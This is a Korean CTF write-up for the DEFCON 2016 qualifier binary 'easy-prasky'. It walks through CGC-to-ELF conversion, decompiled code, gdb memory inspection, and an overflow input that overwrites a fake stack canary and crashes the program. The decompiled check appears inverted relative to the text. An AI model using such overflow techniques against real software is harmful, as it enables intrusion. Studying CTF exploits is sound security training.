View Source

List

Information

Description

http://download.quals.shallweplayaga.me/335e35448b30ce7697fbb036cce45e34/easy-prasky.tar.bz2

easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me:10001

File

easy-prasky.tar.bz2

Source Code

Writeup

File information

File 명령어를 이용해 다음과 같은 정보를 확인할 수 있습니다.

$ tar -jxvf easy-prasky.tar.bz2
$ cd easy-prasky-with-buffalo-on-bing/
$ file easy-prasky-with-buffalo-on-bing 
easy-prasky-with-buffalo-on-bing: data

정확한 파일 정보를 얻기 위해 파일의 Head를 확인합니다.
해당 파일의 Head를 확인한 결과, 이 파일은 CGC(Cyber Grand Challenge) 포맷의 파일입니다.

00000000  7f 43 47 43 01 01 01 43  01 4d 65 72 69 6e 6f 00  |.CGC...C.Merino.|
00000010  02 00 03 00 01 00 00 00  b7 86 04 08 34 00 00 00  |............4...|
00000020  80 08 00 00 00 00 00 00  34 00 20 00 03 00 28 00  |........4. ...(.|
00000030  05 00 04 00 06 00 00 00  34 00 00 00 34 80 04 08  |........4...4...|
00000040  34 80 04 08 60 00 00 00  60 00 00 00 04 00 00 00  |4...`...`.......|
00000050  04 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000060  00 80 04 08 3e 08 00 00  3e 08 00 00 05 00 00 00  |....>...>.......|
00000070  00 10 00 00 01 00 00 00  3e 08 00 00 00 00 00 00  |........>.......|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  00 10 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

http://repo.cybergrandchallenge.com/

Binary analysis

Preferences for running cgc files

DARPA에서 CGC 파일을 실행하기 위한 환경을 Vagrant를 이용해 제공하고 있습니다.

cgc-linux-dev.box	ae1e267b86ac556dac2ed7c6dfc6ffc9370a2134c1a53387c1809e09d21fa27e
vm.json				7f553ee1cf6d16dae7a23bf9738d678042b33a86caf1525a3e8aaf44d4cb12c5 
Vagrantfile			ff0f8b4a3996a137d2a6eb7088a632928068425b9c4502f6c754c3f079672d00

다음 Site에 방문하여 설치 파일을 다운받아 설치합니다.

https://www.vagrantup.com/downloads.html

"http://repo.cybergrandchallenge.com/boxes/" 에서 "Vagrantfile" 파일을 다운받은 후 다음과 같이 명령어를 실행합니다.

$ vagrant up
Bringing machine 'cb' up with 'virtualbox' provider...
Bringing machine 'ids' up with 'virtualbox' provider...
Bringing machine 'pov' up with 'virtualbox' provider...
Bringing machine 'crs' up with 'virtualbox' provider...
Bringing machine 'ti' up with 'virtualbox' provider...
==> cb: Importing base box 'cgc-linux-dev'...
==> cb: Matching MAC address for NAT networking...
==> cb: Checking if box 'cgc-linux-dev' is up to date...
...
==> ti: stdin: is not a tty
==> ti: Running provisioner: file...
==> ti: Running provisioner: shell...
    ti: Running: inline script
==> ti: stdin: is not a tty
$

다음과 같은 명령어를 이용해 VM에 접속할 수 있습니다.(PW : vagrant)

$ ssh vagrant@127.0.0.1 -p 2222
vagrant@127.0.0.1's password: 
Linux cgc-linux-packer 3.13.11-ckt21-cgc #1 SMP Mon Feb 29 16:42:11 UTC 2016 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
vagrant@cb:~$

"easy-prasky-with-buffalo-on-bing"파일을 CGC VM에 전송합니다.

$ scp -P 2222 easy-prasky-with-buffalo-on-bing vagrant@127.0.0.1:/home/vagrant
vagrant@127.0.0.1's password: 
easy-prasky-with-buffalo-on-bing                                                                                                   100% 2376     2.3KB/s   00:00    
$

다음과 같이 전송된 파일을 실행 할 수 있습니다.

vagrant@cb:~$ ./easy-prasky-with-buffalo-on-bing 
test    
canary okvagrant@cb:~$

CGC to elf

해당 파일은 앞에서 설명했듯이 CGC 파일 포맷이기 때문에 IDA에서 DATA file로 인식됩니다.
해당 파일을 IDA Pro로 분석하기 위해서는 파일 포맷 변경이 필요합니다.
- "Cyber Grand Challenge" 에서 제공하는 "cgc2elf"를 이용하여 cgc 파일 포맷을 elf 파일 포맷으로 변환할 수 있습니다.

$ sudo dpkg -i cgc2elf_10206-cfe-rc6_i386.deb 
Selecting previously unselected package cgc2elf.
(Reading database ... 209320 files and directories currently installed.)
Preparing to unpack cgc2elf_10206-cfe-rc6_i386.deb ...
Unpacking cgc2elf (10206-cfe-rc6) ...
Setting up cgc2elf (10206-cfe-rc6) ...
Processing triggers for man-db (2.6.7.1-1ubuntu1) ...
$

http://repo.cybergrandchallenge.com/deb/

다음과 같이 "cgc2elf"를 이용해 cgc 파일 포맷을 elf 파일 포맷으로 변환했습니다.

$ file easy-prasky-with-buffalo-on-bing 
easy-prasky-with-buffalo-on-bing: data
$ cgc2elf easy-prasky-with-buffalo-on-bing 
$ file easy-prasky-with-buffalo-on-bing 
easy-prasky-with-buffalo-on-bing: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, stripped
$ checksec.sh --file easy-prasky-with-buffalo-on-bing_CGC 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   easy-prasky-with-buffalo-on-bing_CGC
$

sub_8048370()

해당 함수는 다음과 같은 기능을 합니다.
- Canary에 "lddwDrwhkTEBSya_"이라는 문자열을 저장합니다.
- 사용자로 부터 입력받은 값을 "userInputStr"에 저장합니다.
  - 이 함수는 scanf()를 이용해 값을 입력 받습니다.
  - 입력받은 값으로 Canary에 저장된 값을 Overwrite가 가능합니다.
- strncmp()함수를 이용해 Canary에 저장된 값이 "lddw"와 같은지 비교합니다.
  - canary변수에 "lddw"라는 문자열이 있으면 "canary ok"라는 문구를 출력합니다.
  - canary변수에 "lddw"라는 문자열이 없다면 "hacking detected, see ya"라는 문구를 출력합니다.

int sub_8048370()
{
  char userInputStr; // [esp+2Fh] [ebp-29h]@1
  char Canary; // [esp+43h] [ebp-15h]@1

  strncpy(&Canary, "lddwDrwhkTEBSya_", 17);
  scanf((int)&userInputStr);
  if ( !strncmp((int)&Canary, (int)"lddwDrwhkTEBSya_", 4) )
  {
    printf((int)"hacking detected, see ya");
    exit(-1);
  }
  return printf((int)"canary ok");
}

Structure of Exploit code

사용자가 입력한 값이 Canary를 우회하여 Segment fault를 발생시킵니다.

The following information is required for an attack:

메모리 구조 확인("userInputStr","canary")

Information for attack

Check memory structure

다음과 같이 Break point를 설정합니다.
- 0x804839d : strncpy()
- 0x80483a8 : scanf()

(gdb) b *0x8048000 + 0x39d
Breakpoint 1 at 0x804839d
(gdb) b *0x8048000 + 0x3a8
Breakpoint 2 at 0x80483a8

strncpy() 함수에 의해 canary 영역(0xbffff6c3)에 "lddwDrwhkTEBSya_" 문자열이 저장되었습니다.

(gdb) r
Starting program: /home/lazenca0x0/Documents/DEFCON 2016/easy-prasky-with-buffalo-on-bing 

Breakpoint 1, 0x0804839d in ?? ()
(gdb) x/wx $esp
0xbffff680:	0xbffff6c3
(gdb) x/wx 0xbffff6c3
0xbffff6c3:	0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x080483a8 in ?? ()
(gdb) x/wx 0xbffff6c3
0xbffff6c3:	0x7764646c
(gdb) x/s 0xbffff6c3
0xbffff6c3:	"lddwDrwhkTEBSya_"

userInputStr 의 주소는 0xbffff6af이며, canary의 주소는 0xbffff6c3 입니다.
- 0xbffff6c3 - 0xbffff6af = 0x14 (20 byte)
- 즉, 사용자 입력 값으로 canary영역에 값을 덮어 쓸 수 있습니다.

(gdb) x/wx $esp
0xbffff680:	0xbffff6af
(gdb) x/20wx 0xbffff6af
0xbffff6af:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffff6bf:	0x00000000	0x7764646c	0x68777244	0x4245546b
0xbffff6cf:	0x5f617953	0x00000000	0xfff6e800	0x048432bf
0xbffff6df:	0x00000008	0x00000000	0x00000000	0x0486c100
0xbffff6ef:	0x00000108	0xfff81a00	0x000000bf	0xfff86100
(gdb)

Key information

"userInputStr" 변수의 메모리 Address : 0xbffff6af
"canary" 변수의 메모리 Address: 0xbffff6c3
"userInputStr" 변수와 "canary" 변수 offset : 20byte

Exploit Code

vagrant@cb:~$ ./easy-prasky-with-buffalo-on-bing_CGC 
AAAAAAAAAAAAAAAAAAAAlddwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
canary okSegmentation fault (core dumped)
vagrant@cb:~$

Flag

Flag

List

Information

Description

File

Source Code

Writeup

File information

Binary analysis

Preferences for running cgc files

CGC to elf

sub_8048370()

Structure of Exploit code

Information for attack

Check memory structure

Key information

Exploit Code

Flag

Related Site